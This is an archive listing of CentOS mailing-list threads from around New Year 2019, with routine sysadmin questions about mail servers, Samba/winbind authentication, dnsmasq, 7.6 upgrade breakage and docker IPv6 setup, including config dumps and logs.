- Discuss - lists.centos.org

Mail server with both postfix and sendmail installed, active MTA gets switched.
by Lamar Owen 05 Jan '19

05 Jan '19

Ok, so a bit of a long subject line there... I'm running an email server using postfix, but a critical third-party package being used requires 'sendmail' the package. No, I can't uninstall that package, please don't suggest that, and I don't have control of its requires. So both postfix and sendmail are installed, and that's just the way it has to be. Amavisd-new and clamav/clamd, from EPEL are also installed. I have had updates twice now switch the active MTA to sendmail, and I have to manually 'systemctl disable sendmail; systemctl stop sendmail' and 'systemctl enable postfix;systemctl start postfix' afterwards. I am trying to find out what package update caused this to switch; or which logfile to look at to show me the systemctl messages that show the enable/disable sequence and points me to the correct package to file the bug against. The packages updated today when this happened were: # cat /var/log/yum.log Jan 04 16:42:47 Updated: clamav-filesystem-0.101.0-1.el7.noarch Jan 04 16:42:48 Updated: clamav-lib-0.101.0-1.el7.x86_64 Jan 04 16:42:48 Updated: clamav-update-0.101.0-1.el7.x86_64 Jan 04 16:42:48 Updated: clamd-0.101.0-1.el7.x86_64 Jan 04 16:42:48 Updated: clamav-server-systemd-0.101.0-1.el7.x86_64 Jan 04 16:42:48 Updated: clamav-scanner-systemd-0.101.0-1.el7.x86_64 Jan 04 16:42:49 Updated: clamav-0.101.0-1.el7.x86_64 Jan 04 16:42:54 Updated: clamav-data-0.101.0-1.el7.noarch Jan 04 16:42:55 Updated: python2-certbot-apache-0.29.1-1.el7.noarch # Sendmail hasn't had updated packages in a long time, since August 2017. None of the package scriptlets from the above packages look like they would affect the sendmail setup. So, I'm looking for suggestions on where to start looking for the data to ferret this out; no clues are in /var/log/messages or /var/log/yum.log.

2 2

thunderbird & firefox
by mark 05 Jan '19

05 Jan '19

I *really* dislike the new photon UI. I WANT the arrow buttons top and bottom of the scrollbars. Does anyone know how to bring them back, or is that "that's *sooo* last year, you can't ever have them again"? mark

4 5

How to troubleshoot partial shutdown problem?
by Marko Vojinovic 04 Jan '19

04 Jan '19

Hi folks, I've never encountered the following problem before (but I guess there is a first time for everything) --- after issuing a regular shutdown, the system starts the shutdown procedure, but stalls at some point, and never finishes. It gets to the console, writes the "powering down" message and stops there --- the hardware never actually powers off. At that time, the machine is completely unresponsive to anything, I have to hold the power button for 5 seconds to actually force it to turn off. This is a clean install of C7, fully updated. I doubt that hardware is at fault, since it *does* properly shut down when I boot it from the C7 live usb (which was used to install the system in the first place). The only difference is that the live usb is not updated at all, while the os on the hard drive has received cca 1000 updates after initial installation. So I'm guessing that something in the updates broke something in the shutdown procedure. Btw, rebooting the machine works properly, no issues. How am I to troubleshoot this? Most importantly, what is the best way to check (after the power cycle) if the hard drive had been unmounted properly during the previous shutdown, i.e. if the unmounting finished before the stall? I don't want the hard drive to "suffer" from unclean shutdowns, if possible. Also, what piece of code prints the "powering off" message in the console (since that appears to be the last thing working)? What else to look for, and where? Is this maybe a known issue, is there a fix? Other than shutting down, the machine works completely ok, so arguably this is not such a big problem (as I plan to have it running 24/7), but still, failing to shutdown when I want it to feels somewhat disturbing, I'd rather have that fixed. Any suggestions? Best, :-) Marko P.S. Happy new year to everyone! ;-)

3 3

OT: but if anyone here knows...
by Fred Smith 04 Jan '19

04 Jan '19

I know this is offtopic, but I hope someone here can give me some guidance. I'm attempting to build sleepyhead (not even on Centos, so it is really OT) and I hit this error: Project ERROR: Unknown module(s) in QT: help Makefile:44: recipe for target 'sub-sleepyhead-make_first-ordered' failed make: *** [sub-sleepyhead-make_first-ordered] Error 3 I don't know anything about using QT, and I've spent hours trying to find a solution to this. there is a qt5help module and it is installed, and I haven't been smart enough to figure out what else this needs. thanks in advance! -- ---- Fred Smith -- fredex(a)fcshome.stoneham.ma.us ----------------------------- But God demonstrates his own love for us in this: While we were still sinners, Christ died for us. ------------------------------- Romans 5:8 (niv) ------------------------------

1 0

Measure system resources consumptions by ClamAV File scanner
by Kaushal Shriyan 03 Jan '19

03 Jan '19

Hi, I am running ClamAV process which is invoked by Cron scheduler around 3:00 AM ( Midnight) on remote server running CentOS Linux release 7.6.1810 (Core). Is there a way to measure what was the system resources consumptions like CPU, Network, I/O, Memory and Computing load is being used and is it possible to find out how much time it took to complete the scan? Any help will be highly appreciated. Thanks in Advance. Best Regards, Kaushal

2 1

install AWX without docker
by Ralf Prengel 03 Jan '19

03 Jan '19

Hallo, I want to use awx without docker for the moment and found this tutorial: https://www.howtoforge.com/tutorial/centos-ansible-awx-installation/ Are there any other docs available? Thanks for hints Ralf Von meinem iPad gesendet

2 2

Erratic local hostname resolution with Dnsmasq
by Nicolas Kovacs 03 Jan '19

03 Jan '19

Hi, My local server is running CentOS 7. The machine has two NICs and is acting as a gateway. For DHCP and DNS, I'm using Dnsmasq. I have a strange little problem with local hostname resolution. Before going into more details, here's my configuration. [root@nestor:~] # ifconfig enp2s0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.0.2 netmask 255.255.255.0 broadcast 192.168.0.255 ether 2c:27:d7:15:54:a1 txqueuelen 1000 (Ethernet) RX packets 17122 bytes 17596130 (16.7 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 13426 bytes 2144915 (2.0 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 device interrupt 18 memory 0xfe8e0000-fe900000 enp3s0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.2.1 netmask 255.255.255.0 broadcast 192.168.2.255 ether 00:22:64:8a:4c:c2 txqueuelen 1000 (Ethernet) RX packets 6597320 bytes 9692134059 (9.0 GiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 534283 bytes 57365155 (54.7 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 device interrupt 16 memory 0xfe9e0000-fea00000 [root@nestor:~] # cat /etc/hostname nestor [root@nestor:~] # cat /etc/hosts # /etc/hosts 127.0.0.1 localhost.localdomain localhost 192.168.2.1 nestor.microlinux.lan nestor 192.168.2.252 hp-officejet.microlinux.lan hp-officejet 192.168.2.253 nas.microlinux.lan nas 192.168.2.254 wifi.microlinux.lan wifi [root@nestor:~] # cat /etc/resolv.conf # /etc/resolv.conf nameserver 127.0.0.1 [root@nestor:~] # cat /etc/dnsmasq.conf # /etc/dnsmasq.conf domain-needed bogus-priv interface=enp3s0 dhcp-range=192.168.2.100,192.168.2.200,24h local=/microlinux.lan/ domain=microlinux.lan expand-hosts # Cloudflare server=1.1.1.1 server=1.0.0.1 # Google #server=8.8.8.8 #server=8.8.4.4 no-resolv # Google dhcp-host=D4:85:64:B2:B2:1B,alphamule,192.168.2.2 dhcp-host=00:1E:C9:43:A7:BF,bernadette,192.168.2.3 dhcp-host=00:1D:09:15:4A:D8,raymonde,192.168.2.4 dhcp-host=00:1E:C9:42:84:7B,amandine,192.168.2.5 dhcp-host=B8:CA:3A:D6:5A:43,1C:3E:84:32:7E:87,buzz,192.168.2.6 dhcp-host=90:E6:BA:CF:04:8F,64:70:02:9A:AC:93,balthazar,192.168.2.7 dhcp-host=08:00:27:00:00:01,centosbox,192.168.2.10 dhcp-host=08:00:27:00:00:02,susebox,192.168.2.11 dhcp-host=10:62:E5:D4:95:60,hp-officejet,192.168.2.252 dhcp-host=00:11:32:26:63:A5,nas,192.168.2.253 Now here's the problem. Some of the hostname are correctly resolved, while others are not. Here's what it looks like when invoked from the server. [root@nestor:~] # host alphamule alphamule has address 192.168.2.2 [root@nestor:~] # host bernadette bernadette has address 192.168.2.3 [root@nestor:~] # host raymonde Host raymonde not found: 3(NXDOMAIN) [root@nestor:~] # host amandine Host amandine not found: 3(NXDOMAIN) [root@nestor:~] # host buzz [root@nestor:~] # host balthazar balthazar has address 192.168.2.7 [root@nestor:~] # host centosbox Host centosbox not found: 3(NXDOMAIN) [root@nestor:~] # host susebox Host susebox not found: 3(NXDOMAIN) [root@nestor:~] # host hp-officejet hp-officejet has address 192.168.2.252 [root@nestor:~] # host nas nas has address 192.168.2.253 Of course I could add all these hosts to /etc/hosts, but as far as I understand, this *should* work with the hosts appearing only in /etc/dnsmasq.conf. Or have I overlooked something ? Any suggestions ? Cheers & happy new year, Niki -- Microlinux - Solutions informatiques durables 7, place de l'église - 30730 Montpezat Site : https://www.microlinux.fr Blog : https://blog.microlinux.fr Mail : info(a)microlinux.fr Tél. : 04 66 63 10 32

2 2

upg. CentOS 7.5 to 7.6: unable to mount smb shares - samba NT domain member using ldap
by Miroslav Geisselreiter 02 Jan '19

02 Jan '19

Originally I posted this question at CentOS forum 20.12.2018. https://www.centos.org/forums/viewtopic.php?f=48&t=69193 Hi all, I am not able to mount samba shares after upgrading CentOS 7.5 to 7.6. I have been searching and trying to configure samba and winbind but no success. I find a lot of manuals and help pages about setting samba and winbind for machine acting as AD DC member but almost nothing about machine acting as NT4 style DC member and that is my case. Samba version before upgrade: samba-4.7.1-9.el7_5.x86_64, after upgrade: samba-4.8.3-4.el7.x86_64. I noticed that now it is necessary to use winbind which I did not use before upgrade. My network: Machine with CentOS 6.9 is PDC (NT4 style) configured with ldap and kerberos, providing domain logon services to Windows and Samba clients of an NT4-like domain. openldap-2.4.40-16.el6.x86_64, krb5-server-1.10.3-65.el6.x86_64, samba-3.6.23-51.el6.x86_64. Machine with CentOS 7.6 is domain member offering network shares to windows clients. Before upgrade my samba-4.7 run only smb and nmb services and everything were fine. After upgrade samba-4.8.3 runs smb nmb and winbind services. smb.conf: workgroup = NT4DOMAIN netbios name = NT4MEMBER |# wbinfo -m --verbose Domain Name DNS Domain Trust Type Transitive In Out BUILTIN Local NT4MEMBER Local NT4DOMAIN INTRANET.XX Workstation Yes No Yes # wbinfo --own-domain NT4DOMAIN | I discovered that winbind is not authenticating users with NT4DOMAIN but only with NT4MEMBER. In this case NT4MEMBER users ARE NT4DOMAIN users (there is only one user1 in ldap database). It can be seen in logs bellow. I set debug level 3 for smbd and winbindd. Windows machines have joined NT4DOMAIN but now cannot mount shares from NT4MEMBER. Windows mount command net use /user:NT4DOMAIN\user1 \\NT4MEMBER\share1 is equal to linux command smbclient //NT4MEMBER/share1 -U NT4DOMAIN\\user1. From linux machine I can mount share by this command: smbclient //NT4MEMBER/share1 -U NT4MEMBER\\user1 but from windows machine it is not possible. Normally (before upgrade) Windows users mapped shares from startup script with this command: net use \\NT4MEMBER\share1. What is going wrong can be seen from logs: |# smbclient //NT4MEMBER/share1 -U NT4DOMAIN\\user1 smbd log: check_ntlm_password: Checking password for unmapped user [NT4DOMAIN]\[user1]@[NT4MEMBER] with the new password interface check_ntlm_password: mapped user is: [NT4DOMAIN]\[user1]@[NT4MEMBER] check_ntlm_password: Authentication for user [user1] -> [user1] FAILED with error NT_STATUS_NO_MEMORY, authoritative=1 Auth: [SMB2,(null)] user [NT4DOMAIN]\[user1] at [Wed, 19 Dec 2018 13:56:08.989053 CET] with [NTLMv2] status [NT_STATUS_NO_MEMORY] workstation [NT4MEMBER] remote host [ipv4:X.X.X.X:40488] mapped to [NT4DOMAIN]\[user1]. local host [ipv4:X.X.X.X:445] log_no_json: JSON auth logs not available unless compiled with jansson gensec_spnego_server_negTokenTarg_step: SPNEGO(ntlmssp) login failed: NT_STATUS_NO_MEMORY smbd_smb2_request_error_ex: smbd_smb2_request_error_ex: idx[1] status[NT_STATUS_NO_MEMORY] || at ../source3/smbd/smb2_sesssetup.c:137 Server exit (NT_STATUS_END_OF_FILE) Terminated winbind log: [ 9232]: request interface version (version = 30) [ 9232]: request location of privileged pipe [ 9232]: pam auth crap domain: [NT4DOMAIN] user: user1 set_dc_type_and_flags_connect: DC for domain NT4DOMAIN claimed it was a DC for domain NT4MEMBER, refusing to initialize [ 9228]: pam auth crap domain: NT4DOMAIN user: user1 set_dc_type_and_flags_connect: DC for domain NT4DOMAIN claimed it was a DC for domain NT4MEMBER, refusing to initialize set_dc_type_and_flags_connect: DC for domain NT4DOMAIN claimed it was a DC for domain NT4MEMBER, refusing to initialize ldb_wrap open of secrets.ldb rpccli_create_netlogon_creds failed for NT4DOMAIN, unable to create NETLOGON credentials: NT_STATUS_NO_MEMORY Could not open handle to NETLOGON pipe (error: NT_STATUS_NO_MEMORY, attempts: 0) The connection to netlogon failed, retrying set_dc_type_and_flags_connect: DC for domain NT4DOMAIN claimed it was a DC for domain NT4MEMBER, refusing to initialize set_dc_type_and_flags_connect: DC for domain NT4DOMAIN claimed it was a DC for domain NT4MEMBER, refusing to initialize ldb_wrap open of secrets.ldb rpccli_create_netlogon_creds failed for NT4DOMAIN, unable to create NETLOGON credentials: NT_STATUS_NO_MEMORY Could not open handle to NETLOGON pipe (error: NT_STATUS_NO_MEMORY, attempts: 1) This is again a problem for this particular call, forcing the close of this connection The connection to netlogon failed, retrying set_dc_type_and_flags_connect: DC for domain NT4DOMAIN claimed it was a DC for domain NT4MEMBER, refusing to initialize set_dc_type_and_flags_connect: DC for domain NT4DOMAIN claimed it was a DC for domain NT4MEMBER, refusing to initialize ldb_wrap open of secrets.ldb rpccli_create_netlogon_creds failed for NT4DOMAIN, unable to create NETLOGON credentials: NT_STATUS_NO_MEMORY Could not open handle to NETLOGON pipe (error: NT_STATUS_NO_MEMORY, attempts: 2) This is again a problem for this particular call, forcing the close of this connection This is the third problem for this particular call, adding DC to the negative cache list: NT4DOMAIN (null) The connection to netlogon failed, retrying set_dc_type_and_flags_connect: DC for domain NT4DOMAIN claimed it was a DC for domain NT4MEMBER, refusing to initialize set_dc_type_and_flags_connect: DC for domain NT4DOMAIN claimed it was a DC for domain NT4MEMBER, refusing to initialize ldb_wrap open of secrets.ldb rpccli_create_netlogon_creds failed for NT4DOMAIN, unable to create NETLOGON credentials: NT_STATUS_NO_MEMORY Could not open handle to NETLOGON pipe (error: NT_STATUS_NO_MEMORY, attempts: 3) This is again a problem for this particular call, forcing the close of this connection This is the third problem for this particular call, adding DC to the negative cache list: NT4DOMAIN (null) NTLM CRAP authentication for user [NT4DOMAIN]\[user1] returned NT_STATUS_NO_MEMORY # smbclient //NT4MEMBER/share1 -U NT4MEMBER\\user1 smbd log: check_ntlm_password: Checking password for unmapped user [NT4MEMBER]\[user1]@[NT4MEMBER] with the new password interface check_ntlm_password: mapped user is: [NT4MEMBER]\[user1]@[NT4MEMBER] init_sam_from_ldap: Entry found for user: user1 auth_check_ntlm_password: sam authentication for user [user1] succeeded Auth: [SMB2,(null)] user [NT4MEMBER]\[user1] at [Wed, 19 Dec 2018 14:00:37.714900 CET] with [NTLMv2] status [NT_STATUS_OK] workstation [NT4MEMBER] remote host [ipv4:X.X.X.X:40494] became [NT4MEMBER]\[user1] [S-1-5-21-x-x-x-21020]. local host [ipv4:X.X.X.X:445] log_no_json: JSON auth logs not available unless compiled with jansson check_ntlm_password: authentication for user [user1] -> [user1] -> [user1] succeeded NTLMSSP Sign/Seal - Initialising with flags: Got NTLMSSP neg_flags=0x62088215 NTLMSSP Sign/Seal - Initialising with flags: Got NTLMSSP neg_flags=0x62088215 init_group_from_ldap: Entry found for group: 544 init_group_from_ldap: Entry found for group: 100000 Adding homes service for user 'user1' using home directory: '/posta/user1' adding home's share [user1] for user 'user1' at '/data/osobni/%S' Allowed connection from X.X.X.X (X.X.X.X) Connect path is '/tmp' for service [IPC$] Initialising default vfs hooks Initialising custom vfs hooks from [/[Default VFS]/] NT4MEMBER (ipv4:X.X.X.X:40494) connect to service IPC$ initially as user user1 (uid=10010, gid=513) (pid 7874) get_referred_path: |share1| in dfs path \NT4MEMBER\share1 is not a dfs root. smbd_smb2_request_error_ex: smbd_smb2_request_error_ex: idx[1] status[NT_STATUS_NOT_FOUND] || at ../source3/smbd/smb2_ioctl.c:312 NT4MEMBER (ipv4:X.X.X.X:40494) closed connection to service IPC$ Allowed connection from X.X.X.X (X.X.X.X) Connect path is '/samba1/664' for service [share1] Initialising default vfs hooks Initialising custom vfs hooks from [/[Default VFS]/] Initialising custom vfs hooks from [recycle] load_module_absolute_path: Module '/usr/lib64/samba/vfs/recycle.so' loaded NT4MEMBER (ipv4:X.X.X.X:40494) connect to service share1 initially as user user1 (uid=10010, gid=513) (pid 7874) winbind log: [ 9238]: request interface version (version = 30) [ 9238]: request location of privileged pipe sids_to_xids sam_sid_to_name sam_sid_to_name sam_sid_to_name StartTLS issued: using a TLS connection smbldap_open_connection: connection opened ldap_connect_system: successful connection to the LDAP server | I can provide more details (config parameters etc.) later if it is necessary. I played with all winbind parameters, idmap config parameters but no success. Can anyone please help me to solve this problem? Please find more logs. wbinfo -i user1 (without prepending domain) should show NT4DOMAIN\user1 not NT4MEMBER\user1. The same should be for wbinfo -i NT4DOMAIN\\user1. |# wbinfo -i user1 NT4MEMBER\user1:*:10010:513::/posta/user1:/bin/false winbindd log: [ 9747]: request interface version (version = 30) [ 9747]: request location of privileged pipe getpwnam user1 sam_name_to_sid name_to_sid: user1 for domain init_sam_from_ldap: Entry found for user: user1 name_to_sid: user1 for domain init_sam_from_ldap: Entry found for user: user1 sam_rids_to_names for NT4MEMBER sam_sid_to_name # wbinfo -i NT4MEMBER\\user1 NT4MEMBER\user1:*:10010:513::/posta/user1:/bin/false winbindd log: [ 9744]: request interface version (version = 30) [ 9744]: request location of privileged pipe getpwnam NT4MEMBER\user1 sam_name_to_sid name_to_sid: NT4MEMBER\user1 for domain NT4MEMBER init_sam_from_ldap: Entry found for user: user1 name_to_sid: NT4MEMBER\user1 for domain NT4MEMBER init_sam_from_ldap: Entry found for user: user1 sam_rids_to_names for NT4MEMBER sam_sid_to_name # wbinfo -i NT4DOMAIN\\user1 Could not get info for user NT4DOMAIN\user1 winbindd log: [ 9746]: request interface version (version = 30) [ 9746]: request location of privileged pipe getpwnam NT4DOMAIN\user1 sam_name_to_sid name_to_sid: NT4DOMAIN\user1 for domain NT4DOMAIN name_to_sid: failed to lookup name: NT_STATUS_NONE_MAPPED name_to_sid: NT4DOMAIN\user1 for domain NT4DOMAIN name_to_sid: failed to lookup name: NT_STATUS_NONE_MAPPED | wbinfo -u should list all users from NT4DOMAIN but list nothing. wbinfo -u --domain="NT4MEMBER" list all users which are from ldap - they are NT4DOMAIN users. |# wbinfo -u winbindd log: [ 9754]: request interface version (version = 30) [ 9754]: request location of privileged pipe [ 9754]: request interface version (version = 30) [ 9754]: request misc info [ 9754]: request netbios name [ 9754]: request domain name [ 9754]: domain_info [NT4DOMAIN] list_users NT4DOMAIN samr: sequence number # wbinfo -u --domain="NT4MEMBER" NT4MEMBER\dovecot NT4MEMBER\root NT4MEMBER\nobody NT4MEMBER\user1 winbindd log: [ 9756]: request interface version (version = 30) [ 9756]: request location of privileged pipe list_users NT4MEMBER samr_query_user_list smbldap_search_paged: base => [ou=Users,dc=intranet,dc=xx], filter => [(&(uid=*)(objectclass=sambaSamAccount))],scope => [2], pagesize => [1000] smbldap_search_paged: search was successful samr: sequence number sam_rids_to_names for NT4MEMBER | Mirek

3 10

CentOS Dojo at FOSDEM, Feb 1st, 2019
by Rich Bowen 02 Jan '19

02 Jan '19

We're looking forward to seeing all of you in Brussels next month! The annual FOSDEM CentOS Dojo will be happening, as usual, on the Friday before FOSDEM starts - February 1st, 2019 - at the Marriott Grand Place, just a few minutes walk from Grand Place. We do ask that you register, so that we can plan for space, budget, and coffee breaks. We are currently about half full, so don't wait! More details, including the full schedule of presentations, and the registration link, are on the event website: https://wiki.centos.org/Events/Dojo/Brussels2019 See you in Brussels! -- Rich Bowen - rbowen(a)redhat.com @CentOSProject // @rbowen 859 351 9166

1 0

Centos for Power7 no longer available ?
by christian.sonnemans＠xs4all.nl 01 Jan '19

01 Jan '19

Hello Centos fellows, I liked to run Centos on my IBM Power7 machine and therefore I used to download the images form: <http://isoredirect.centos.org/altarch/7/isos/ppc64/> http://isoredirect.centos.org/altarch/7/isos/ppc64/ But not it seems that this link is not working: The requested branch/release/arch/filename does not seem to be valid, please check your input Is Centos 7 no longer supporter for IBM Power 7 machines witch uses centos Big Endian 64 bits ? Any answer is appreciated Greetings Christian Sonnemans. --- Deze e-mail is gecontroleerd op virussen door AVG. http://www.avg.com

3 4

IPv6: ADDRCONF(NETDEV_UP): link is not ready after upgrading to 7.6
by Luigi Rosa 01 Jan '19

01 Jan '19

Hi, after upgrading to 7.6, kernel 3.10.0-957.1.3.el7.x86_64, at boot instead of the GUI login screen I got two lines like this: IPv6: ADDRCONF(NETDEV_UP): em1: link is not ready IPv6: ADDRCONF(NETDEV_UP): em1: link is not ready The server is accessible via ssh on IPv4 Server: DELL PowerEdge T 110 II NIC: Broadcom, driver tg3, lspci -v: 04:00.0 Ethernet controller: Broadcom Inc. and subsidiaries NetXtreme BCM5722 Gigabit Ethernet PCI Express Subsystem: Dell Device 04de Flags: bus master, fast devsel, latency 0, IRQ 33 Memory at c4a00000 (64-bit, non-prefetchable) [size=64K] Expansion ROM at <ignored> [disabled] Capabilities: [48] Power Management version 3 Capabilities: [50] Vital Product Data Capabilities: [58] Vendor Specific Information: Len=78 <?> Capabilities: [e8] MSI: Enable+ Count=1/1 Maskable- 64bit+ Capabilities: [d0] Express Endpoint, MSI 00 Capabilities: [100] Advanced Error Reporting Capabilities: [13c] Virtual Channel Capabilities: [160] Device Serial Number f8-db-88-ff-fe-fe-b4-57 Capabilities: [16c] Power Budgeting <?> Kernel driver in use: tg3 Kernel modules: tg3 dmesg says: [ 8.075141] tg3 0000:04:00.0 em1: Link is up at 1000 Mbps, full duplex [ 8.075153] tg3 0000:04:00.0 em1: Flow control is off for TX and off for RX [ 8.075174] IPv6: ADDRCONF(NETDEV_CHANGE): em1: link becomes ready IPv6 is configured as IGNORE in NetworkManager. I tried the following with the same result: net.ipv6.conf.default.disable_ipv6 = 1 net.ipv6.conf.all.disable_ipv6 = 1 and reboot, no effect Setting an automatic IPv6 address: no effect. Suggestions? -- Ciao, luigi / +--[Luigi Rosa]-- \

2 2

daemon core dump
by Alice Wonder 30 Dec '18

30 Dec '18

I have a daemon I can conistently cause a crash on. https://iangilham.com/2016/12/08/core-dump-from-centos-7.html Is that the best way (obviously with debug packages installed) to get the core dump or is there a better way? It is NOT a CentOS/EPEL maintained daemon.

2 1

upgrading 7.5 ==> 7.6
by Fred Smith 30 Dec '18

30 Dec '18

hI ALL! There have been a large enough number of people posting here about difficulties when upgrading from 7. to 7.6 that I'm being somewhat paranoid about it. I have several machines to upgrade, but so far the only one I've dared to work on (least critical if it goes bad) is my new-to-me-but-used laptop. First I did a 'dd' backup of the whole drive onto an external USB drive then did the upgrade. Since I use the Mate desktop, I enabled the epel testing repo (per postings on Mate troubles at the time of the upgrade). Result: Boots to GDM just fine, but Mate is a black screen. Switching to Gnome, works fine, but I can't stand Gnome. Not knowing what else to try I restored the dd backup. Later I inserted a spare HD and did a new install from the DVD media. This installed without issue, but now no desktop works. Switching to a console (CTRL-ALT-F2) I did a full "yum update", which installed quite a few packages, but upon reboot nothing had improved. So I added the epel repo (and testing) and installed Mate. Ditto, nothing had changed. This laptop is fairly old, and according to lshw, has a RV635/M86 [Mobility Radeon HD 3650]I] video chipset, in case it matters. CPU is identified as: Intel(R) Core(TM)2 Duo CPU T9400 @ 2.53GHz Having previously installed 7.5 on it without trouble, on which Mate works just fine, I wonder what could have become so broken that neither an upgrade nor a fresh install works. I have, as I said, several other machines to upgrade, too, some of them have Nvidia grahics (esp. my main desktop box, which also uses Linux software RAID-1) and all run Mate. Then there is a netbook (low priority) a couple of VMs (in virtualbox) and at work several other VMS as well as bare-metal on a Lenovo deskside machine, and I'm afraid to do an update on all of them because I need them to be in usable condition. The Lenovo box in my office is somewhat urgent, as I am about to retire and turn it over to someone else who doesn't know much about Linux. I'd appreciate any advice I can get on how to get these systems upgraded without breaking them. thanks in advance for your help! Fred -- ------------------------------------------------------------------------------- Under no circumstances will I ever purchase anything offered to me as the result of an unsolicited e-mail message. Nor will I forward chain letters, petitions, mass mailings, or virus warnings to large numbers of others. This is my contribution to the survival of the online community. --Roger Ebert, December, 1996 ----------------------------- The Boulder Pledge -----------------------------

8 13

openiam or freeipa ?
by Ilyass Kaouam 30 Dec '18

30 Dec '18

Hi, What is the best OpenIAM or FreeIPA ? Thank's -- *Ilyass kaouam* *Ingénieur System OpenSource* *Mastère européen Manager de Projets Informatiques*

2 2

Slider bars...
by mark 30 Dec '18

30 Dec '18

Anyone have a clue how to add back the buttons at the top and bottom of the slider bars, or at least change how the sliders work? Most of the time, I want to scroll up faster, *NOT* got 500 emails back, or to the top of the page.... mark "c7.6"

3 2

[Fwd: Centos 7.6 and Aeskulap]
by Gregory P. Ennis 30 Dec '18

30 Dec '18

Everyone, Apparently, aeskulap is broken during the upgrade fro 7.5 to 7.6, and is no longer available in the epel repos. I had some difficulty having it function, and during the debug process I decided to do a yum remove, but when I tried a yum install to reinstall it, aeskulap was no longer present. This problem may also affect other modules. I have placed a bug report : https://bugzilla.redhat.com/show_bug.cgi?id=1659667 The depracation of tcp wrappers may be involved in this https://fedoraproject.org/wiki/Changes/Deprecate_TCP_wrappers -- Greg Ennis

4 8

Trying To Move From CentOS 6.10 To CentOS 7.5
by Eugene Poole 29 Dec '18

29 Dec '18

I have this machine running CentOS 6.10 x86_64 and it's ripe to be moved to CentOS 7.5. I mounted the DVD and rebooted and went through the graphic install until I reached the point of allocating the disks. It showed no available disk drives. There are 6 disk drives on this machine: 4 - 1 TB and 2 - 2 TB all WD Black - they have been made up with /dev/sda1 (1024 MB) and /dev/sdd1 (1024 MB) as /dev/md0 (software RAID-1); with the remainder as software RAID-10 using LVM. The machine has the following allocations: /boot = /dev/md0 software RAID-1 /dev/md1 as /dev/vg_jpdsys3 totaling 2.72 TB software RAID-10. Why can't the CentOS 7 installer see a CentOS 6 definition? Out of all of the LVS built I would only need to format the file systems the apply to the OS and swap. If I have to rebuild I will loose everything! Any suggestions? -- Eugene Poole Woodstock, Georgia

1 0

centos docker which repo (centos or docker)
by ralf.prengel＠comline.de 28 Dec '18

28 Dec '18

Hallo, I planning to migrate ouch dockerfarm from debian to centos. Most of our customers are using redhat or centos and some oft eh books I m using are written for centos too. My question: Should I use docker from the standard repo or the version from the docker-repo? Thanks for hints Ralf Ralf Prengel Teamleiter Customer Care Comline AG Hauert 8 D-44227 Dortmund/Germany ... Telefon: +49 231 97575 157 Mobil: +49 151 10831 157 Fax: +49 231 97575 257 E-Mail: ralf.prengel(a)comline.de ... www.comline.de<http://www.comline.de> Vorstand: Stephan Schilling Aufsichtsrat: Otto Prange (Vorsitzender) HR Dortmund B 14570 USt.-ID-Nr. DE 124727422

3 2

kickstart configuration is working fine but some questions
by ralf.prengel＠comline.de 28 Dec '18

28 Dec '18

Hallo, my kickstart configuration (Centos 7.6) is working fine using pxe now but I ve two little problems: 1) The installation stops in the last screen "installation finished" and doesn't switch to the login-screen. 2) How can I configure the profile for users to answer all question that are asked after the first login. Thanks Ralf Ralf Prengel Teamleiter Customer Care Comline AG Hauert 8 D-44227 Dortmund/Germany Telefon:+49 231 97575 157 Mobil:+49 151 10831 157 Fax:+49 231 97575 257 E-Mail:ralf.prengel@comline.de www.comline.de Vorstand: Stephan Schilling Aufsichtsrat: Otto Prange (Vorsitzender) HR Dortmund B 14570 USt.-ID-Nr. DE 124727422

2 1

recording session
by Ilyass Kaouam 28 Dec '18

28 Dec '18

Hi, Please if you know any opensource tools he can recording session ? Freeipa can do this ? Thank's -- *Ilyass kaouam* *Ingénieur System OpenSource* *Mastère européen Manager de Projets Informatiques*

3 3

compiling fedora srpm on CentOS
by sthustfo 27 Dec '18

27 Dec '18

I tried installing fedora grpc srpm on CentOS and ran into following error when installing srpm. I understand fedora makes use of more recent versions of openssl, glibc etc but why should this happen when installing source rpm? Any pointers/articles on how to go about building fedora srpms on CentOS? Any way out other than building directly using sources? rpm -i grpc-1.17.1-3.fc30.i686.rpm warning: grpc-1.17.1-3.fc30.i686.rpm: Header V3 RSA/SHA256 Signature, key ID cfc659b9: NOKEY error: Failed dependencies: libc.so.6(GLIBC_2.28) is needed by grpc-1.17.1-3.fc30.i686 libcrypto.so.1.1 is needed by grpc-1.17.1-3.fc30.i686 libcrypto.so.1.1(OPENSSL_1_1_0) is needed by grpc-1.17.1-3.fc30.i686 libm.so.6(GLIBC_2.29) is needed by grpc-1.17.1-3.fc30.i686 libprotobuf.so.17 is needed by grpc-1.17.1-3.fc30.i686 libssl.so.1.1 is needed by grpc-1.17.1-3.fc30.i686 libssl.so.1.1(OPENSSL_1_1_0) is needed by grpc-1.17.1-3.fc30.i686 libstdc++.so.6(GLIBCXX_3.4.20) is needed by grpc-1.17.1-3.fc30.i686 libstdc++.so.6(GLIBCXX_3.4.21) is needed by grpc-1.17.1-3.fc30.i686

3 2

Docker + ipv6
by Joe 27 Dec '18

27 Dec '18

Hello, i want to use docker with ipv6. i install docker and edit the /etc/docker/daemon.json: { "ipv6": true } Message: [root@froodo network-scripts]# systemctl status docker ● docker.service - Docker Application Container Engine Loaded: loaded (/usr/lib/systemd/system/docker.service; enabled; vendor preset: disabled) Active: failed (Result: exit-code) since Do 2018-12-27 12:46:22 CET; 1min 17s ago Docs: http://docs.docker.com Main PID: 15041 (code=exited, status=1/FAILURE) Dez 27 12:46:21 froodo.org dockerd-current[15041]: time="2018-12-27T12:46:21.570534716+01:00" level=info msg="libcontainerd: new containerd process, pid: 15045" Dez 27 12:46:22 froodo.org dockerd-current[15041]: time="2018-12-27T12:46:22.673394351+01:00" level=info msg="Graph migration to content-addressability took 0.00 seconds" Dez 27 12:46:22 froodo.org dockerd-current[15041]: time="2018-12-27T12:46:22.674651938+01:00" level=info msg="Loading containers: start." Dez 27 12:46:22 froodo.org dockerd-current[15041]: time="2018-12-27T12:46:22.700417054+01:00" level=info msg="Firewalld running: true" Dez 27 12:46:22 froodo.org dockerd-current[15041]: time="2018-12-27T12:46:22.903025438+01:00" level=info msg="Default bridge (docker0) is assigned with an IP address 172.17.0.0/16. Daemon option --bip can 